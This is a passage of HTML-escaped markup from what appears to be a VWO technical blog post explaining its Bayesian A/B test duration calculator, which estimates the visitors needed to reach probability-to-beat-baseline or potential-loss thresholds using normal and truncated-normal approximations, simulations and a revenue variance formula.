&lt;p&gt;We also provide a heuristic to obtain extreme estimates beyond which there is no point running the test for a given improvement. Traditionally this requires simulations at the bayesian metric level which was computationally intensive and used to take a lot of time to finish. Now using the proposed analytical form, the simulations required to obtain extreme estimates can be performed blazingly fast.&lt;/p&gt; &lt;p&gt;In the proposed bayesian calculator you are asked for the base conversion rate, the number of variations you plan to have, the size of the minimum improvement you wish to test in the experiment, and the metric threshold. The result of the calculation is the size of the samples needed to reach the threshold.&lt;/p&gt; &lt;p&gt;We use probability to beat baseline and Potential Loss metrics to measure statistical significance. To learn more about their definitions please visit - &lt;a href=&quot;https://help.vwo.com/hc/en-us/articles/360033471874&quot;&gt;How VWO Calculates a Winning Variation&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;estimating-visitors-for-probability-to-beat-baseline&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#estimating-visitors-for-probability-to-beat-baseline&quot; aria-label=&quot;estimating visitors for probability to beat baseline permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Estimating Visitors for probability to beat baseline&lt;/h2&gt; &lt;p&gt;The probability to beat baseline(&lt;code class=&quot;language-text&quot;&gt;PBB&lt;/code&gt;) is the number of times a Variation is better than the other variation after &lt;em&gt;Monte Carlo&lt;/em&gt; sampling is performed. Another way to look at it graphically when two variations are involved, if we compute an uplift distribution such that the difference in Monte Carlo samples of B from A, where Conversion Rate of Variation B is better than Conversion Rate of A we would obtain the following plot as:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 536px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 78.61271676300578%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAABxUlEQVQ4y6WUi46bMBBF+f+/q6p0aV4bwEDDyzYB84p96zHbJDRRilRLFmBm7pzBvnh4M5q2RVEUEEKAc+6ul8vlXQo8rbULam3ybTYN+r7Hab/Dx2aD/f6A7fYnfN+393vUdQ1ZN7aARFVVrhhdu66DN02TEyTh6/V6n8ZAWyJMA84lbIE7xThOCOMBcSIQRQGSJAFjDFJKeJSslHqJb6TAtVX45ht87DSmydDq/M48xxOYI6Q25yBzny5CIAkVsgrISoMT07e4r5KLnJeCN2G6qQUOW4W2n5NPzGAYzVPxP89vCWnImCMO1I2mH4zd+f8QHCuOTi4Fd5/6qZvVgoHPMTbdIpHanjcH6wmJhjhCK6jVUrDvDUT9SLdSkNdAe+bA0LmURxra8ZUtayfW9RqloHNIhOovwXljuNSvjw05pH+wQW2tmhVfjVws5jC8PPRpbme2XCMwj1wSBAHSs8DmR4TDZ4VTwKxPOVK7nqUJKuvVPM+dh8MwdBZjLEKcSnzfMARRiYj9sjEZPDI0/VEGS1IUOaaxs0YvnR2FTeTWz8fj0f4ctk6IYsdxdAW0HlGWhSVT7h0V9LBiUCB9H/re/xq/ARSP34MaYC+WAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;uplift distribution&quot; title=&quot;uplift distribution&quot; src=&quot;/static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png&quot; srcset=&quot;/static/d0e06a73bd09290e54f0c1363f5e7183/991de/uplift-distribution.png 173w, /static/d0e06a73bd09290e54f0c1363f5e7183/e4d6b/uplift-distribution.png 345w, /static/d0e06a73bd09290e54f0c1363f5e7183/2d920/uplift-distribution.png 536w&quot; sizes=&quot;(max-width: 536px) 100vw, 536px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;the &lt;code class=&quot;language-text&quot;&gt;PBB&lt;/code&gt; of B can be interpreted as the area under the uplift curve and the right of the y-axis&lt;/li&gt; &lt;li&gt;and, the &lt;code class=&quot;language-text&quot;&gt;PBB&lt;/code&gt; of A would be the area under the uplift curve and on the left of the y-axis.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;To estimate the number of visitors to see improvement in B we will try to find the standard deviation of uplift distribution(&lt;a href=&quot;https://en.wikipedia.org/wiki/Standard_error&quot;&gt;Standard Error&lt;/a&gt;) such that:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$PBB_B \approx PBB_{Threshold}$$ &lt;/p&gt; &lt;p&gt;Then by using the standard error and standard deviation obtained from input parameters we can obtain a visitor estimation.&lt;/p&gt; &lt;p&gt;Though we don’t know the analytical form of uplift distribution, however, as per the &lt;a href=&quot;https://en.wikipedia.org/wiki/Central_limit_theorem&quot;&gt;Central Limit Theorem&lt;/a&gt;, after a certain number of visitors, the uplift distribution tends to become &lt;a href=&quot;https://en.wikipedia.org/wiki/Normal_distribution&quot;&gt;Normal Distribution&lt;/a&gt; whose mean is:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$\delta(CR * Improvement)$$ &lt;/p&gt; &lt;p&gt;and Standard Deviation would depend upon the number of visitors obtained in the test. Theoretically, if infinite data is provided it would become &lt;a href=&quot;https://en.wikipedia.org/wiki/Dirac_delta_function&quot;&gt;Dirac Delta distribution&lt;/a&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 684px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 75.72254335260115%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABPklEQVQ4y+1U2W6DQAzM//8e6gMkAcKNOIK4j+xO16Zsk9BUbZ87krXO2J7YsOYAhWVZIKVEWZY4nU4IggCXi6vsgjiO4XmePsnSNIHvuYiiCEIIriUjHIZhQNu2GMcReZ7r4iAIWThJEi5M05T5JIlgOxGMNxeWZSLLMo5VVbUKkhj9yzPGCS/RDUBVgycio0au1yt3yYI0MoEIIah1iboRipd6nHujOPDYRNd13NhOcHsWTStxu8kHfg2t52qf+dukvxTc//6z4Cv8C74SlCy43OTHW/3edoJfXey2UzdN4MfQ97BpGr16RPZ9r/wBWd4pvsc0jaD1pDidW86zT6vHgr7vIwxDHttxHN5X8s/nM+8pCRmGoXnLslAUBeZ5hmmaLEQ5x+ORGztsXwvCs0+o6xq2bbP4upr7nPvad/GhlGyX1giCAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;dirac delta distribution&quot; title=&quot;dirac delta distribution&quot; src=&quot;/static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png&quot; srcset=&quot;/static/b5e20a47b3b3b361cb61b75f195317b6/991de/dirac-delta-distribution.png 173w, /static/b5e20a47b3b3b361cb61b75f195317b6/e4d6b/dirac-delta-distribution.png 345w, /static/b5e20a47b3b3b361cb61b75f195317b6/2c288/dirac-delta-distribution.png 684w&quot; sizes=&quot;(max-width: 684px) 100vw, 684px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;Based on the assumption of uplift distribution as Normal distribution, &lt;code class=&quot;language-text&quot;&gt;PBB&lt;/code&gt; can be computed analytically as:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$1 - Norm(\delta,SE).cdf(0)$$ &lt;/p&gt; &lt;p&gt;where &lt;code class=&quot;language-text&quot;&gt;CDF&lt;/code&gt; is the cumulative density function and &lt;code class=&quot;language-text&quot;&gt;SE&lt;/code&gt; is the standard error.&lt;/p&gt; &lt;p&gt;The standard deviation of the data distribution can be computed as:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$\sigma_1^2 = CR1(1-CR1)$$ $$\sigma_2^2 = CR2(1-CR2)$$ $$\sigma = \sqrt{\sigma_1^2 + \sigma_2^2}$$ &lt;/p&gt; &lt;p&gt;Using Standard Error(&lt;code class=&quot;language-text&quot;&gt;SE&lt;/code&gt;) and &lt;code class=&quot;language-text&quot;&gt;σ&lt;/code&gt;, we can compute the Number of Visitors(&lt;code class=&quot;language-text&quot;&gt;N&lt;/code&gt;) as:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$N = nVars * \Big( \dfrac{\sigma}{SE} \Big) ^2$$ &lt;/p&gt; &lt;p&gt;where &lt;code class=&quot;language-text&quot;&gt;nVars&lt;/code&gt; is the Number of Variations&lt;/p&gt; &lt;h2 id=&quot;estimating-visitors-for-potential-loss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#estimating-visitors-for-potential-loss&quot; aria-label=&quot;estimating visitors for potential loss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Estimating Visitors for Potential Loss&lt;/h2&gt; &lt;p&gt;A potential loss is a distribution that can be interpreted as the loss in conversion rate you are likely to incur if you select a variation that is not the best variation. Logic to compute the potential loss is:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$Potential Loss_B = Max(0, CR_{Not\space B} - CR_B)$$ &lt;/p&gt; &lt;p&gt;Essentially, it is an uplift distribution where the probabilities associated with the negative values of uplift are concentrated at 0. The resultant distribution of variation B would be similar to the following plot.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 652px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 72.83236994219652%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABdElEQVQ4y92TXU/CMBSG9/9/gb9Ar9QrL1TiMJFEQogu2SAwI/vECY59Fdm6j9e2YxEh0YVLT/KkpzvN23c9rZRlGZIkAQlWiOMYIYMQgoRBtog6SVg9QhiEiCI2hqGA57xeryGQ+IeyKjDsa3AXAQjNUBQF8jwX8JxSipc3H877B0aaClXTMJlMoOs6VFWF53lCLAgCSNwVj478DNMLkKHCQVQVnqYeDHcJ17FhGCbm8zlc14VpmmxuwHEc4ZY5rAXlewUWE0yrElyzYiK7tIn1er0j2K0d7gs2UZbVwSb7G7YW/E3oKMG/4p8J7p5jK8HmHspdpRYsC7GAd/UHVU2LpkRicscutr0IkeP42DpMQLMNrjsDnFw+4rSj4OxGwbms4qKr4qo3xm1fx4MyQ48x0EwMxxZGr3NMzfr1zJwFbM/H0l9Baixzp5s0Q5rlbKSCT0ZKc0Qxgb9iz5LlDTTn751RfMOPRGrTySgKYVtWq9/+Apt6h3Y1qyJxAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;potential loss distribution&quot; title=&quot;potential loss distribution&quot; src=&quot;/static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png&quot; srcset=&quot;/static/ef9676ea9693b1f0cd2f753e125b38cc/991de/potential-loss-distribution.png 173w, /static/ef9676ea9693b1f0cd2f753e125b38cc/e4d6b/potential-loss-distribution.png 345w, /static/ef9676ea9693b1f0cd2f753e125b38cc/dba9a/potential-loss-distribution.png 652w&quot; sizes=&quot;(max-width: 652px) 100vw, 652px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;We will find the standard deviation of this distribution such that its mean becomes close to the threshold of caring. Then by using the standard error and standard deviation obtained from input parameters we can obtain a visitor estimation as explained in the previous section. We will use a &lt;a href=&quot;https://en.wikipedia.org/wiki/Truncated_normal_distribution&quot;&gt;Truncated Normal Distribution&lt;/a&gt; with range [low, high] to represent the positive non-zero portion of the above distribution whose analytical mean can be computed as:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$\mu_{uplift} = -\delta$$ $$\sigma = SE$$ $$a = \dfrac{low-\mu_{uplift}}{\sigma}$$ $$b = \dfrac{upper-\mu_{uplift}}{\sigma}$$ $$\mu = truncNorm(\mu_{uplift}, \sigma, a, b).mean()$$ &lt;/p&gt; &lt;p&gt;Then we’ll adjust the mean by taking into account the probability of &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt; as represented in the above plot as&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$\mu_{adjusted} = \mu * (1 - Norm(\mu_{uplift},\sigma).cdf(0))$$ &lt;/p&gt; &lt;h2 id=&quot;estimating-standard-error&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#estimating-standard-error&quot; aria-label=&quot;estimating standard error permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Estimating standard error&lt;/h2&gt; &lt;p&gt;We&apos;ll perform a binary search on standard error such that it provides an estimate close to the required probability to beat baseline/Potential Loss within a certain error bound.&lt;/p&gt; &lt;h2 id=&quot;duration-estimation-in-extreme-cases&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#duration-estimation-in-extreme-cases&quot; aria-label=&quot;duration estimation in extreme cases permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Duration estimation in extreme cases&lt;/h2&gt; &lt;p&gt;We perform several simulations to obtain a distribution of estimation using the following algorithm to get an estimate in extreme cases like 90/95 percentile&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Estimate number of visitors using input &lt;code class=&quot;language-text&quot;&gt;CR&lt;/code&gt;, improvement, number of variations, and the required threshold using analytical equations.&lt;/li&gt; &lt;li&gt;Based on the estimated visitors per variation as the number of trials, perform Bernoulli trials, and obtain new conversion rate and improvement.&lt;/li&gt; &lt;li&gt;Using the new conversion rate and improvement obtain an estimate of visitors using the analytical equation.&lt;/li&gt; &lt;li&gt;Perform 2 and 3, 1000 times to obtain an estimated visitor distribution.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;simulation-results&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#simulation-results&quot; aria-label=&quot;simulation results permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Simulation Results&lt;/h2&gt; &lt;p&gt;Notice how close the median of estimates from 1000 simulations is to the visitor estimate obtained from the analytical equation.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bf1686f64e74b2ef464d4ae1876971fa/b5c21/sim-1.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 36.99421965317919%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABLElEQVQoz22Ru07DQBBF/aN8AjW/QEdP/gHRIEQFggqBKCJFFBGJrKwc2+skJn7t05fZ9SNGMNL1rK25Z2bHAdtyrMII4SYGizi2SQatDabRtq3P1loYkqV3d/4vAr47INvnkFKNH13xoAHmMs8OiGKO/LuAELKD9zWDAiEEdmkGl6uqAmMMSZrCGIOyaaC0Hhu5mryoIEuSUhAkJSWSOEYURd4TGGsIko7XHLq6aAg2BUopMF9zOggoqtH99A7kmnmgJsM6jKn4ZGz7XLsJeqD1ZoPZwwLLddI1IAAmUA+09Hh8W6IR+s+CpxMa2xnPr19wMXuGIJ+y7eTH2Q7o5rl5WuD1k+FY1iiq2o8vSUfaqVLq14RXtx84u7zz+f59hflXgk2aI4z3tCqDHyd/G2/PwsvcAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;sim 1&quot; title=&quot;sim 1&quot; src=&quot;/static/bf1686f64e74b2ef464d4ae1876971fa/1e043/sim-1.png&quot; srcset=&quot;/static/bf1686f64e74b2ef464d4ae1876971fa/991de/sim-1.png 173w, /static/bf1686f64e74b2ef464d4ae1876971fa/e4d6b/sim-1.png 345w, /static/bf1686f64e74b2ef464d4ae1876971fa/1e043/sim-1.png 690w, /static/bf1686f64e74b2ef464d4ae1876971fa/e3189/sim-1.png 1035w, /static/bf1686f64e74b2ef464d4ae1876971fa/b1001/sim-1.png 1380w, /static/bf1686f64e74b2ef464d4ae1876971fa/b5c21/sim-1.png 2154w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/54f3ad5680379b063a413696df2706dc/aae30/sim-2.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 39.30635838150289%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABTElEQVQoz21SzU6DQBjkTT178E28efABfAUTNelBjybaeDHGptEWsAEKLcv+AruM30JRUt3whf2W+WZnJgTvyxBhnGAVJUizHbquw3SNvX9b6+DcUH4/xYy4IN8xSKV70BTg+ymwaVqEXymSNEdBM1yoH8x0LiiLPbQ2kEIgyzIkSQIlJZq2hTLmVyU9SmswxlErBU3fW6qKMURR1M/5C4I4TgcrnYMkIs45nLXweqUnnKiURMSYRFfXqA9nHltTbwhraR+8LiJIXeN4WRo4JixKjoeXNdA20Ic8R8deVE84e1ygkn8J/1O4J7tnl/f4iIu/eGcHwqubOW6fPmnQwVDwPjtvo6EaCd2BMC8rnJzf4fRihuvnFebLFOuU9Q65NEOGm2yPt/UWOyboUEFI3Wfi8/Q1/XUMnXvbmy1DmJbY5IwuESi5RFmJXsg3Wh9qGjI/Zt8AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;sim 2&quot; title=&quot;sim 2&quot; src=&quot;/static/54f3ad5680379b063a413696df2706dc/1e043/sim-2.png&quot; srcset=&quot;/static/54f3ad5680379b063a413696df2706dc/991de/sim-2.png 173w, /static/54f3ad5680379b063a413696df2706dc/e4d6b/sim-2.png 345w, /static/54f3ad5680379b063a413696df2706dc/1e043/sim-2.png 690w, /static/54f3ad5680379b063a413696df2706dc/e3189/sim-2.png 1035w, /static/54f3ad5680379b063a413696df2706dc/b1001/sim-2.png 1380w, /static/54f3ad5680379b063a413696df2706dc/aae30/sim-2.png 2080w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/90dc9eb59976f25d3d595f246a631851/8170e/sim-3.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 35.83815028901734%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABXUlEQVQoz11Ry07DMBDMH/I5XJD4g944IW4cUAUXoCcOUESlIl4qRYW2lBQoadKGJHUSO4ntDI6TFMRKK0vrmdkZ2zDfLYzNGSzbXXeacfytPM/1GUYUXkAQUQbKEkgp8b+MKGYIghXSNFVEqUGccyRJAkophBBrMAljLJYeojBUgkxxsjU2iiKtYWRZhoXjIku5dsKUO6FEySqAbdsaXJeUAoQmCDwCLkqc5qjFjuOAEAJD8AydhwlIXBIToVxWEWu3ZWw9wf3EwfmdiTBJISpcXakyZ+SS4+DsET5hlaAoBVUXcYsEWqoit25MbO5eovNsIYhTOD6tX1phVeRi69ZeG82rVz2mXKrNv1trh0KWw51WHxvbx9hvj9Cbehh8+uquUFGfpv7DQC5wdNFH4/AavfEXnt4svEzncD0fnmrG2B+HOU66IzSaXZx2h7gdzjAwbXzMXSy/fQQkxg+TpRVgGKjo5gAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;sim 3&quot; title=&quot;sim 3&quot; src=&quot;/static/90dc9eb59976f25d3d595f246a631851/1e043/sim-3.png&quot; srcset=&quot;/static/90dc9eb59976f25d3d595f246a631851/991de/sim-3.png 173w, /static/90dc9eb59976f25d3d595f246a631851/e4d6b/sim-3.png 345w, /static/90dc9eb59976f25d3d595f246a631851/1e043/sim-3.png 690w, /static/90dc9eb59976f25d3d595f246a631851/e3189/sim-3.png 1035w, /static/90dc9eb59976f25d3d595f246a631851/b1001/sim-3.png 1380w, /static/90dc9eb59976f25d3d595f246a631851/8170e/sim-3.png 2132w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h2 id=&quot;duration-calculator-revenue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#duration-calculator-revenue&quot; aria-label=&quot;duration calculator revenue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Duration Calculator Revenue&lt;/h2&gt; &lt;p&gt;We have built the duration calculator for revenue using the same principles described above. The only difference would come in the computation of the standard deviation of the data distribution. We will use the following analytical form of the standard deviation:&lt;/p&gt; &lt;p class=&quot;code-latex&quot;&gt; $$\sigma^2 = CR * \sigma_Z^2 + CR*(1-CR)*\mu_Z^2$$ &lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Z&lt;/code&gt; is a random variable used to represent revenue per sale distribution.&lt;/p&gt; &lt;h2 id=&quot;simulation-results-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#simulation-results-1&quot; aria-label=&quot;simulation results 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg 